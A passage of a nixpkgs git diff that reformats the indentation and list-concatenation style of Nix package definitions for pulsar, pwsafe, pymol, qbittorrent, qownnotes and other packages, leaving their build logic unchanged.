+          git_executable="${git}/libexec/git-core/$filename"
 
-            # Create symlink to $git_executable
-            ln -s "$git_executable" "$file"
+          # Create symlink to $git_executable
+          ln -s "$git_executable" "$file"
 
-            echo "Replaced $file with symlink to $git_executable"
-          fi
-      done
+          echo "Replaced $file with symlink to $git_executable"
+        fi
+    done
 
-      # Was symlinked in previous loop, but actually, nixpkgs has a separate package for git-lfs
-      # Unlink to avoid a "File exists" error and relink correctly
-      unlink $dugite/git/libexec/git-core/git-lfs
-      ln -s ${git-lfs}/bin/git-lfs $dugite/git/libexec/git-core/git-lfs
-    ''
-    + lib.optionalString (stdenv.hostPlatform.system == "x86_64-linux") ''
-      # We have to patch a prebuilt binary in the asar archive
-      # But asar complains because the node_gyp unpacked dependency uses a prebuilt Python3 itself
+    # Was symlinked in previous loop, but actually, nixpkgs has a separate package for git-lfs
+    # Unlink to avoid a "File exists" error and relink correctly
+    unlink $dugite/git/libexec/git-core/git-lfs
+    ln -s ${git-lfs}/bin/git-lfs $dugite/git/libexec/git-core/git-lfs
+  ''
+  + lib.optionalString (stdenv.hostPlatform.system == "x86_64-linux") ''
+    # We have to patch a prebuilt binary in the asar archive
+    # But asar complains because the node_gyp unpacked dependency uses a prebuilt Python3 itself
 
-      rm $opt/resources/app.asar.unpacked/node_modules/tree-sitter-bash/build/node_gyp_bins/python3
-      ln -s ${python3.interpreter} $opt/resources/app.asar.unpacked/node_modules/tree-sitter-bash/build/node_gyp_bins/python3
-    ''
-    + ''
-      # Patch the bundled node executables
-      find $opt -name "*.node" -exec patchelf --set-rpath "${newLibpath}:$opt" {} \;
-      # Also patch the node executable for apm
-      patchelf --set-rpath "${newLibpath}:$opt" $opt/resources/app/ppm/bin/node
+    rm $opt/resources/app.asar.unpacked/node_modules/tree-sitter-bash/build/node_gyp_bins/python3
+    ln -s ${python3.interpreter} $opt/resources/app.asar.unpacked/node_modules/tree-sitter-bash/build/node_gyp_bins/python3
+  ''
+  + ''
+    # Patch the bundled node executables
+    find $opt -name "*.node" -exec patchelf --set-rpath "${newLibpath}:$opt" {} \;
+    # Also patch the node executable for apm
+    patchelf --set-rpath "${newLibpath}:$opt" $opt/resources/app/ppm/bin/node
 
-      # The pre-packaged ASAR bundle comes with prebuild binaries, expecting libstdc++.so.6
-      asarBundle=$TMPDIR/asarbundle
-      asar e $opt/resources/app.asar $asarBundle
-      find $asarBundle -name "*.node" -exec patchelf --set-rpath "${newLibpath}:$opt" --add-needed libstdc++.so.6 {} \;
-      unlink $asarBundle/node_modules/document-register-element/dre # Self referencing symlink, breaking asar rebundling
-      asar p $asarBundle $opt/resources/app.asar
-      rm -rf $asarBundle
+    # The pre-packaged ASAR bundle comes with prebuild binaries, expecting libstdc++.so.6
+    asarBundle=$TMPDIR/asarbundle
+    asar e $opt/resources/app.asar $asarBundle
+    find $asarBundle -name "*.node" -exec patchelf --set-rpath "${newLibpath}:$opt" --add-needed libstdc++.so.6 {} \;
+    unlink $asarBundle/node_modules/document-register-element/dre # Self referencing symlink, breaking asar rebundling
+    asar p $asarBundle $opt/resources/app.asar
+    rm -rf $asarBundle
 
-      # Pulsar uses `PULSAR_PATH` to know where it is intalled
-      mkdir -p $out/bin
-      wrapProgram $opt/resources/pulsar.sh \
-        --suffix "PATH" : "${lib.makeBinPath [ coreutils ]}" \
-        --set "PULSAR_PATH" "$opt"
-      ln -s $opt/resources/pulsar.sh $out/bin/pulsar
-      ln -s $opt/resources/app/ppm/bin/apm $out/bin/ppm
+    # Pulsar uses `PULSAR_PATH` to know where it is intalled
+    mkdir -p $out/bin
+    wrapProgram $opt/resources/pulsar.sh \
+      --suffix "PATH" : "${lib.makeBinPath [ coreutils ]}" \
+      --set "PULSAR_PATH" "$opt"
+    ln -s $opt/resources/pulsar.sh $out/bin/pulsar
+    ln -s $opt/resources/app/ppm/bin/apm $out/bin/ppm
 
-      # Copy the icons
-      mkdir -p $out/share/icons/hicolor/scalable/apps $out/share/icons/hicolor/1024x1024/apps
-      cp $opt/resources/pulsar.svg $out/share/icons/hicolor/scalable/apps/pulsar.svg
-      cp $opt/resources/pulsar.png $out/share/icons/hicolor/1024x1024/apps/pulsar.png
-    ''
-    + lib.optionalString withNemoAction ''
-      # Copy the nemo action file
-      mkdir -p $out/share/nemo/actions
-      cp ${./pulsar.nemo_action} $out/share/nemo/actions/pulsar.nemo_action
-    '';
+    # Copy the icons
+    mkdir -p $out/share/icons/hicolor/scalable/apps $out/share/icons/hicolor/1024x1024/apps
+    cp $opt/resources/pulsar.svg $out/share/icons/hicolor/scalable/apps/pulsar.svg
+    cp $opt/resources/pulsar.png $out/share/icons/hicolor/1024x1024/apps/pulsar.png
+  ''
+  + lib.optionalString withNemoAction ''
+    # Copy the nemo action file
+    mkdir -p $out/share/nemo/actions
+    cp ${./pulsar.nemo_action} $out/share/nemo/actions/pulsar.nemo_action
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/pu/pulseaudio-dlna/zeroconf.nix b/pkgs/by-name/pu/pulseaudio-dlna/zeroconf.nix
index 4e2c7dfeebb4..7b09c3a89ab6 100644
--- a/pkgs/by-name/pu/pulseaudio-dlna/zeroconf.nix
+++ b/pkgs/by-name/pu/pulseaudio-dlna/zeroconf.nix
@@ -24,7 +24,8 @@ buildPythonPackage rec {
     six
     enum-compat
     ifaddr
-  ] ++ lib.optionals (pythonOlder "3.5") [ typing ];
+  ]
+  ++ lib.optionals (pythonOlder "3.5") [ typing ];
 
   meta = with lib; {
     description = "Pure python implementation of multicast DNS service discovery";
diff --git a/pkgs/by-name/pu/pulumi/extra/mk-pulumi-package.nix b/pkgs/by-name/pu/pulumi/extra/mk-pulumi-package.nix
index 9981bb8d2251..bdbe5f79f81f 100644
--- a/pkgs/by-name/pu/pulumi/extra/mk-pulumi-package.nix
+++ b/pkgs/by-name/pu/pulumi/extra/mk-pulumi-package.nix
@@ -34,7 +34,8 @@ let
         ldflags = [
           "-s"
           "-w"
-        ] ++ extraLdflags;
+        ]
+        ++ extraLdflags;
       }
       // args
     );
diff --git a/pkgs/by-name/pw/pwsafe/package.nix b/pkgs/by-name/pw/pwsafe/package.nix
index 55978beac35d..20082cc0bc58 100644
--- a/pkgs/by-name/pw/pwsafe/package.nix
+++ b/pkgs/by-name/pw/pwsafe/package.nix
@@ -45,56 +45,53 @@ stdenv.mkDerivation rec {
     zip
   ];
 
-  buildInputs =
-    [
-      wxGTK32
-      curl
-      qrencode
-      openssl
-      xercesc
-      file
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libXext
-      libXi
-      libXt
-      libXtst
-      libuuid
-      libyubikey
-      yubikey-personalization
-    ];
+  buildInputs = [
+    wxGTK32
+    curl
+    qrencode
+    openssl
+    xercesc
+    file
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libXext
+    libXi
+    libXt
+    libXtst
+    libuuid
+    libyubikey
+    yubikey-personalization
+  ];
 
-  cmakeFlags =
-    [
-      "-DNO_GTEST=ON"
-      "-DCMAKE_CXX_FLAGS=-I${yubikey-personalization}/include/ykpers-1"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DNO_YUBI=ON"
-    ];
+  cmakeFlags = [
+    "-DNO_GTEST=ON"
+    "-DCMAKE_CXX_FLAGS=-I${yubikey-personalization}/include/ykpers-1"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DNO_YUBI=ON"
+  ];
 
-  postPatch =
-    ''
-      # Fix perl scripts used during the build.
-      for f in $(find . -type f -name '*.pl') ; do
-        patchShebangs $f
-      done
+  postPatch = ''
+    # Fix perl scripts used during the build.
+    for f in $(find . -type f -name '*.pl') ; do
+      patchShebangs $f
+    done
 
-      # Fix hard coded paths.
-      for f in $(grep -Rl /usr/share/ src install/desktop) ; do
-        substituteInPlace $f --replace /usr/share/ $out/share/
-      done
+    # Fix hard coded paths.
+    for f in $(grep -Rl /usr/share/ src install/desktop) ; do
+      substituteInPlace $f --replace /usr/share/ $out/share/
+    done
 
-      # Fix hard coded zip path.
-      substituteInPlace help/Makefile.linux --replace /usr/bin/zip ${zip}/bin/zip
+    # Fix hard coded zip path.
+    substituteInPlace help/Makefile.linux --replace /usr/bin/zip ${zip}/bin/zip
 
-      for f in $(grep -Rl /usr/bin/ .) ; do
-        substituteInPlace $f --replace /usr/bin/ ""
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace src/ui/cli/CMakeLists.txt --replace "uuid" ""
-    '';
+    for f in $(grep -Rl /usr/bin/ .) ; do
+      substituteInPlace $f --replace /usr/bin/ ""
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace src/ui/cli/CMakeLists.txt --replace "uuid" ""
+  '';
 
   installFlags = [ "PREFIX=${placeholder "out"}" ];
 
diff --git a/pkgs/by-name/py/pylyzer/package.nix b/pkgs/by-name/py/pylyzer/package.nix
index cc2380e97850..8c7001a0f23a 100644
--- a/pkgs/by-name/py/pylyzer/package.nix
+++ b/pkgs/by-name/py/pylyzer/package.nix
@@ -31,7 +31,8 @@ rustPlatform.buildRustPackage rec {
     python3
     makeWrapper
     writableTmpDirAsHomeHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ (writeScriptBin "diskutil" "") ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ (writeScriptBin "diskutil" "") ];
 
   buildInputs = [
     python3
diff --git a/pkgs/by-name/py/pymol/package.nix b/pkgs/by-name/py/pymol/package.nix
index 27cedfb1e044..8f7ec4ba9374 100644
--- a/pkgs/by-name/py/pymol/package.nix
+++ b/pkgs/by-name/py/pymol/package.nix
@@ -73,22 +73,21 @@ python3Packages.buildPythonApplication rec {
     qt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      python3Packages.numpy_1
-      python3Packages.pyqt5
-      qt5.qtbase
-      glew
-      glm
-      libpng
-      libxml2
-      freetype
-      netcdf
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      mmtf-cpp
-      msgpack
-    ];
+  buildInputs = [
+    python3Packages.numpy_1
+    python3Packages.pyqt5
+    qt5.qtbase
+    glew
+    glm
+    libpng
+    libxml2
+    freetype
+    netcdf
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    mmtf-cpp
+    msgpack
+  ];
 
   env.NIX_CFLAGS_COMPILE = "-I ${libxml2.dev}/include/libxml2";
 
@@ -126,22 +125,21 @@ python3Packages.buildPythonApplication rec {
     "tests/api/seqalign.py"
   ];
 
-  disabledTests =
-    [
-      # the output image does not exactly match
-      "test_commands"
-      # touch the network
-      "testFetch"
-      # requires collada2gltf which is not included in nixpkgs
-      "testglTF"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # require mmtf-cpp which does not support darwin
-      "test_bcif"
-      "test_bcif_array"
-      "testMMTF"
-      "testSave_symmetry__mmtf"
-    ];
+  disabledTests = [
+    # the output image does not exactly match
+    "test_commands"
+    # touch the network
+    "testFetch"
+    # requires collada2gltf which is not included in nixpkgs
+    "testglTF"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # require mmtf-cpp which does not support darwin
+    "test_bcif"
+    "test_bcif_array"
+    "testMMTF"
+    "testSave_symmetry__mmtf"
+  ];
 
   preCheck = ''
     cd testing
diff --git a/pkgs/by-name/py/pympress/package.nix b/pkgs/by-name/py/pympress/package.nix
index 3532bf57d737..5e9092082064 100644
--- a/pkgs/by-name/py/pympress/package.nix
+++ b/pkgs/by-name/py/pympress/package.nix
@@ -45,21 +45,20 @@ python3Packages.buildPythonApplication rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      gtk3
-      poppler_gi
-    ]
-    ++ lib.optionals withGstreamer [
-      libcanberra-gtk3
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-bad
-      gst_all_1.gst-plugins-ugly
-      (gst_all_1.gst-plugins-good.override { gtkSupport = true; })
-      gst_all_1.gst-libav
-      gst_all_1.gst-vaapi
-    ];
+  buildInputs = [
+    gtk3
+    poppler_gi
+  ]
+  ++ lib.optionals withGstreamer [
+    libcanberra-gtk3
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gst-plugins-ugly
+    (gst_all_1.gst-plugins-good.override { gtkSupport = true; })
+    gst_all_1.gst-libav
+    gst_all_1.gst-vaapi
+  ];
 
   doCheck = false; # there are no tests
 
diff --git a/pkgs/by-name/py/pytrainer/package.nix b/pkgs/by-name/py/pytrainer/package.nix
index aa075f4f8604..e4034392e0e9 100644
--- a/pkgs/by-name/py/pytrainer/package.nix
+++ b/pkgs/by-name/py/pytrainer/package.nix
@@ -74,16 +74,15 @@ python.pkgs.buildPythonApplication rec {
     ])
   ];
 
-  nativeCheckInputs =
-    [
-      glibcLocales
-      perl
-      xvfb-run
-    ]
-    ++ (with python.pkgs; [
-      mysqlclient
-      psycopg2
-    ]);
+  nativeCheckInputs = [
+    glibcLocales
+    perl
+    xvfb-run
+  ]
+  ++ (with python.pkgs; [
+    mysqlclient
+    psycopg2
+  ]);
 
   postPatch = ''
     substituteInPlace pytrainer/platform.py \
diff --git a/pkgs/by-name/q2/q2pro/package.nix b/pkgs/by-name/q2/q2pro/package.nix
index d56ffd92ae7a..42c025f4b69b 100644
--- a/pkgs/by-name/q2/q2pro/package.nix
+++ b/pkgs/by-name/q2/q2pro/package.nix
@@ -45,37 +45,35 @@ stdenv.mkDerivation (finalAttrs: rec {
   revCount = "3817"; # git rev-list --count ${src.rev}
   SOURCE_DATE_EPOCH = "1746223027"; # git show -s --format=%ct ${src.rev}
 
-  nativeBuildInputs =
-    [
-      meson
-      pkg-config
-      ninja
-      makeBinaryWrapper
-      copyDesktopItems
-    ]
-    ++ lib.optional waylandSupport wayland-scanner
-    ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  nativeBuildInputs = [
+    meson
+    pkg-config
+    ninja
+    makeBinaryWrapper
+    copyDesktopItems
+  ]
+  ++ lib.optional waylandSupport wayland-scanner
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
-  buildInputs =
-    [
-      zlib
-      libpng
-      libjpeg
-      curl
-      SDL2
-      libGL
-      libogg
-      libvorbis
-      libX11
-      ffmpeg
-      openalSoft
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland
-      wayland-protocols
-      libdecor
-    ]
-    ++ lib.optional x11Support libXi;
+  buildInputs = [
+    zlib
+    libpng
+    libjpeg
+    curl
+    SDL2
+    libGL
+    libogg
+    libvorbis
+    libX11
+    ffmpeg
+    openalSoft
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland
+    wayland-protocols
+    libdecor
+  ]
+  ++ lib.optional x11Support libXi;
 
   mesonBuildType = "release";
 
diff --git a/pkgs/by-name/qa/qadwaitadecorations/package.nix b/pkgs/by-name/qa/qadwaitadecorations/package.nix
index dfeb8bde1207..6dad24c390b4 100644
--- a/pkgs/by-name/qa/qadwaitadecorations/package.nix
+++ b/pkgs/by-name/qa/qadwaitadecorations/package.nix
@@ -43,12 +43,11 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontWrapQtApps = true;
 
-  cmakeFlags =
-    [
-      "-DQT_PLUGINS_DIR=${placeholder "out"}/${qt.qtbase.qtPluginPrefix}"
-    ]
-    ++ lib.optional useQt6 "-DUSE_QT6=true"
-    ++ lib.optional qt5ShadowsSupport "-DHAS_QT6_SUPPORT=true";
+  cmakeFlags = [
+    "-DQT_PLUGINS_DIR=${placeholder "out"}/${qt.qtbase.qtPluginPrefix}"
+  ]
+  ++ lib.optional useQt6 "-DUSE_QT6=true"
+  ++ lib.optional qt5ShadowsSupport "-DHAS_QT6_SUPPORT=true";
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/qa/qalculate-gtk/package.nix b/pkgs/by-name/qa/qalculate-gtk/package.nix
index e507b9a572a3..6ef0d8f11f68 100644
--- a/pkgs/by-name/qa/qalculate-gtk/package.nix
+++ b/pkgs/by-name/qa/qalculate-gtk/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     autoreconfHook
     wrapGAppsHook3
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
   buildInputs = [
     libqalculate
     gtk3
diff --git a/pkgs/by-name/qa/qastools/package.nix b/pkgs/by-name/qa/qastools/package.nix
index b94318db64e2..be98e761c165 100644
--- a/pkgs/by-name/qa/qastools/package.nix
+++ b/pkgs/by-name/qa/qastools/package.nix
@@ -23,16 +23,15 @@ stdenv.mkDerivation rec {
     cmake
     qt6Packages.wrapQtAppsHook
   ];
-  buildInputs =
-    [
-      alsa-lib
-      udev
-    ]
-    ++ (with qt6Packages; [
-      qtbase
-      qtsvg
-      qttools
-    ]);
+  buildInputs = [
+    alsa-lib
+    udev
+  ]
+  ++ (with qt6Packages; [
+    qtbase
+    qtsvg
+    qttools
+  ]);
 
   meta = with lib; {
     description = "Collection of desktop applications for ALSA configuration";
diff --git a/pkgs/by-name/qb/qbittorrent/package.nix b/pkgs/by-name/qb/qbittorrent/package.nix
index f32b270787e1..d5592aea1dd3 100644
--- a/pkgs/by-name/qb/qbittorrent/package.nix
+++ b/pkgs/by-name/qb/qbittorrent/package.nix
@@ -36,28 +36,28 @@ stdenv.mkDerivation (finalAttrs: {
     qt6.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      boost
-      libtorrent-rasterbar
-      openssl
-      qt6.qtbase
-      qt6.qtsvg
-      qt6.qttools
-      zlib
-    ]
-    ++ lib.optionals guiSupport [ dbus ]
-    ++ lib.optionals (guiSupport && stdenv.hostPlatform.isLinux) [ qt6.qtwayland ]
-    ++ lib.optionals trackerSearch [ python3 ];
+  buildInputs = [
+    boost
+    libtorrent-rasterbar
+    openssl
+    qt6.qtbase
+    qt6.qtsvg
+    qt6.qttools
+    zlib
+  ]
+  ++ lib.optionals guiSupport [ dbus ]
+  ++ lib.optionals (guiSupport && stdenv.hostPlatform.isLinux) [ qt6.qtwayland ]
+  ++ lib.optionals trackerSearch [ python3 ];
 
-  cmakeFlags =
-    [ "-DVERBOSE_CONFIGURE=ON" ]
-    ++ lib.optionals (!guiSupport) [
-      "-DGUI=OFF"
-      "-DSYSTEMD=ON"
-      "-DSYSTEMD_SERVICES_INSTALL_DIR=${placeholder "out"}/lib/systemd/system"
-    ]
-    ++ lib.optionals (!webuiSupport) [ "-DWEBUI=OFF" ];
+  cmakeFlags = [
+    "-DVERBOSE_CONFIGURE=ON"
+  ]
+  ++ lib.optionals (!guiSupport) [
+    "-DGUI=OFF"
+    "-DSYSTEMD=ON"
+    "-DSYSTEMD_SERVICES_INSTALL_DIR=${placeholder "out"}/lib/systemd/system"
+  ]
+  ++ lib.optionals (!webuiSupport) [ "-DWEBUI=OFF" ];
 
   qtWrapperArgs = lib.optionals trackerSearch [ "--prefix PATH : ${lib.makeBinPath [ python3 ]}" ];
 
diff --git a/pkgs/by-name/qc/qcm/package.nix b/pkgs/by-name/qc/qcm/package.nix
index 9b8d9c92caa7..e9ed5e623d06 100644
--- a/pkgs/by-name/qc/qcm/package.nix
+++ b/pkgs/by-name/qc/qcm/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     curl
     ffmpeg
     cubeb
-  ] ++ cubeb.passthru.backendLibs;
+  ]
+  ++ cubeb.passthru.backendLibs;
 
   # Correct qml import path
   postInstall = ''
diff --git a/pkgs/by-name/qd/qdirstat/package.nix b/pkgs/by-name/qd/qdirstat/package.nix
index 04e6ae824f22..c4ffc99153c6 100644
--- a/pkgs/by-name/qd/qdirstat/package.nix
+++ b/pkgs/by-name/qd/qdirstat/package.nix
@@ -21,12 +21,13 @@ stdenv.mkDerivation rec {
     hash = "sha256-pwdmltHDNwUMx1FNOoiXl5Pna0zlKqahmicBCN6UVSU=";
   };
 
-  nativeBuildInputs =
-    [ makeWrapper ]
-    ++ (with libsForQt5; [
-      qmake
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ (with libsForQt5; [
+    qmake
+    wrapQtAppsHook
+  ]);
 
   buildInputs = [ perlPackages.perl ];
 
diff --git a/pkgs/by-name/qd/qdiskinfo/package.nix b/pkgs/by-name/qd/qdiskinfo/package.nix
index 94873c780011..0646adcaed18 100644
--- a/pkgs/by-name/qd/qdiskinfo/package.nix
+++ b/pkgs/by-name/qd/qdiskinfo/package.nix
@@ -58,17 +58,16 @@ stdenv.mkDerivation (finalAttrs: {
 
   cmakeBuildType = "MinSizeRel";
 
-  cmakeFlags =
-    [
-      "-DQT_VERSION_MAJOR=6"
-    ]
-    ++ lib.optionals isThemed [ "-DINCLUDE_OPTIONAL_RESOURCES=ON" ]
-    ++ (
-      if themeBundle'.rightCharacter then
-        [ "-DCHARACTER_IS_RIGHT=ON" ]
-      else
-        [ "-DCHARACTER_IS_RIGHT=OFF" ]
-    );
+  cmakeFlags = [
+    "-DQT_VERSION_MAJOR=6"
+  ]
+  ++ lib.optionals isThemed [ "-DINCLUDE_OPTIONAL_RESOURCES=ON" ]
+  ++ (
+    if themeBundle'.rightCharacter then
+      [ "-DCHARACTER_IS_RIGHT=ON" ]
+    else
+      [ "-DCHARACTER_IS_RIGHT=OFF" ]
+  );
 
   postUnpack = ''
     cp -r $sourceRoot $TMPDIR/src
diff --git a/pkgs/by-name/qe/qemacs/package.nix b/pkgs/by-name/qe/qemacs/package.nix
index 06f00b4acc6d..dc225bf3087f 100644
--- a/pkgs/by-name/qe/qemacs/package.nix
+++ b/pkgs/by-name/qe/qemacs/package.nix
@@ -42,13 +42,12 @@ stdenv.mkDerivation {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--cross-prefix=${stdenv.cc.targetPrefix}"
-    ]
-    ++ lib.optionals (!enableX11) [
-      "--disable-x11"
-    ];
+  configureFlags = [
+    "--cross-prefix=${stdenv.cc.targetPrefix}"
+  ]
+  ++ lib.optionals (!enableX11) [
+    "--disable-x11"
+  ];
 
   makeFlags = [
     # is actually used as BUILD_CC
diff --git a/pkgs/by-name/qg/qgroundcontrol/package.nix b/pkgs/by-name/qg/qgroundcontrol/package.nix
index cdc03f547e39..bfb39fef2b6d 100644
--- a/pkgs/by-name/qg/qgroundcontrol/package.nix
+++ b/pkgs/by-name/qg/qgroundcontrol/package.nix
@@ -35,13 +35,14 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [ SDL2 ] ++ gstInputs ++ propagatedBuildInputs;
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ (with libsForQt5; [
-      qmake
-      qttools
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ (with libsForQt5; [
+    qmake
+    qttools
+    wrapQtAppsHook
+  ]);
 
   preConfigure = ''
     mkdir build
diff --git a/pkgs/by-name/ql/qlog/package.nix b/pkgs/by-name/ql/qlog/package.nix
index 9a6121bdb15f..e3c993b1d421 100644
--- a/pkgs/by-name/ql/qlog/package.nix
+++ b/pkgs/by-name/ql/qlog/package.nix
@@ -23,19 +23,18 @@ stdenv.mkDerivation rec {
 
   env.NIX_LDFLAGS = "-lhamlib";
 
-  buildInputs =
-    [
-      hamlib
-      qt6.qtbase
-      qt6.qtcharts
-      qt6.qtserialport
-      qt6.qtwebchannel
-      qt6.qtwebengine
-      qt6Packages.qtkeychain
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cups
-    ];
+  buildInputs = [
+    hamlib
+    qt6.qtbase
+    qt6.qtcharts
+    qt6.qtserialport
+    qt6.qtwebchannel
+    qt6.qtwebengine
+    qt6Packages.qtkeychain
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cups
+  ];
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/qm/qmidiarp/package.nix b/pkgs/by-name/qm/qmidiarp/package.nix
index 2b3f4ae16f96..ec9dcc7a7173 100644
--- a/pkgs/by-name/qm/qmidiarp/package.nix
+++ b/pkgs/by-name/qm/qmidiarp/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation rec {
     qt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      lv2
-      libjack2
-    ]
-    ++ (with qt5; [
-      qttools
-    ]);
+  buildInputs = [
+    alsa-lib
+    lv2
+    libjack2
+  ]
+  ++ (with qt5; [
+    qttools
+  ]);
 
   meta = with lib; {
     description = "Advanced MIDI arpeggiator";
diff --git a/pkgs/by-name/qm/qmplay2/package.nix b/pkgs/by-name/qm/qmplay2/package.nix
index 8de3a25b0c95..6ba174871424 100644
--- a/pkgs/by-name/qm/qmplay2/package.nix
+++ b/pkgs/by-name/qm/qmplay2/package.nix
@@ -45,44 +45,42 @@ stdenv.mkDerivation (finalAttrs: {
     popd
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals (qtVersion == "6") [ qt6.wrapQtAppsHook ]
-    ++ lib.optionals (qtVersion == "5") [ qt5.wrapQtAppsHook ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals (qtVersion == "6") [ qt6.wrapQtAppsHook ]
+  ++ lib.optionals (qtVersion == "5") [ qt5.wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      alsa-lib
-      ffmpeg
-      fribidi
-      game-music-emu
-      libXdmcp
-      libXv
-      libass
-      libcddb
-      libcdio
-      libpulseaudio
-      libsidplayfp
-      libva
-      libxcb
-      taglib
-      vulkan-headers
-      vulkan-tools
-    ]
-    ++ lib.optionals (qtVersion == "6") [
-      qt6.qt5compat
-      qt6.qtbase
-      qt6.qtsvg
-      qt6.qttools
-    ]
-    ++ lib.optionals (qtVersion == "5") [
-      qt5.qtbase
-      qt5.qttools
-    ];
+  buildInputs = [
+    alsa-lib
+    ffmpeg
+    fribidi
+    game-music-emu
+    libXdmcp
+    libXv
+    libass
+    libcddb
+    libcdio
+    libpulseaudio
+    libsidplayfp
+    libva
+    libxcb
+    taglib
+    vulkan-headers
+    vulkan-tools
+  ]
+  ++ lib.optionals (qtVersion == "6") [
+    qt6.qt5compat
+    qt6.qtbase
+    qt6.qtsvg
+    qt6.qttools
+  ]
+  ++ lib.optionals (qtVersion == "5") [
+    qt5.qtbase
+    qt5.qttools
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/qo/qodem/package.nix b/pkgs/by-name/qo/qodem/package.nix
index f0025b9915c5..5931950ec3bb 100644
--- a/pkgs/by-name/qo/qodem/package.nix
+++ b/pkgs/by-name/qo/qodem/package.nix
@@ -51,15 +51,14 @@ stdenv.mkDerivation (finalAttrs: {
     autoreconfHook
   ];
 
-  buildInputs =
-    [
-      ncurses
-      SDL
-      miniupnpc
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform gpm) [
-      gpm
-    ];
+  buildInputs = [
+    ncurses
+    SDL
+    miniupnpc
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform gpm) [
+    gpm
+  ];
 
   configureFlags = lib.optionals (!(lib.meta.availableOn stdenv.hostPlatform gpm)) [
     "--disable-gpm"
diff --git a/pkgs/by-name/qo/qownnotes/package.nix b/pkgs/by-name/qo/qownnotes/package.nix
index 6887c106486c..934b4bf6ea45 100644
--- a/pkgs/by-name/qo/qownnotes/package.nix
+++ b/pkgs/by-name/qo/qownnotes/package.nix
@@ -24,16 +24,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-853xxUgRMtnL+frLCmzzGL44xstDwnrEMhYBFpL5hmQ=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      qt6Packages.qttools
-      qt6Packages.wrapQtAppsHook
-      pkg-config
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ xvfb-run ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ makeWrapper ];
+  nativeBuildInputs = [
+    cmake
+    qt6Packages.qttools
+    qt6Packages.wrapQtAppsHook
+    pkg-config
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ xvfb-run ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ makeWrapper ];
 
   buildInputs = [
     qt6Packages.qtbase
@@ -41,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     qt6Packages.qtsvg
     qt6Packages.qtwebsockets
     botan2
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ qt6Packages.qtwayland ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qt6Packages.qtwayland ];
 
   cmakeFlags = [
     "-DQON_QT6_BUILD=ON"
diff --git a/pkgs/by-name/qr/qrtool/package.nix b/pkgs/by-name/qr/qrtool/package.nix
index d7a5e09767ae..0c7730c3cee7 100644
--- a/pkgs/by-name/qr/qrtool/package.nix
+++ b/pkgs/by-name/qr/qrtool/package.nix
@@ -26,18 +26,17 @@ rustPlatform.buildRustPackage rec {
     installShellFiles
   ];
 
-  postInstall =
-    ''
-      # Built by ./build.rs using `asciidoctor`
-      installManPage ./target/*/release/build/qrtool*/out/*.?
+  postInstall = ''
+    # Built by ./build.rs using `asciidoctor`
+    installManPage ./target/*/release/build/qrtool*/out/*.?
 
-    ''
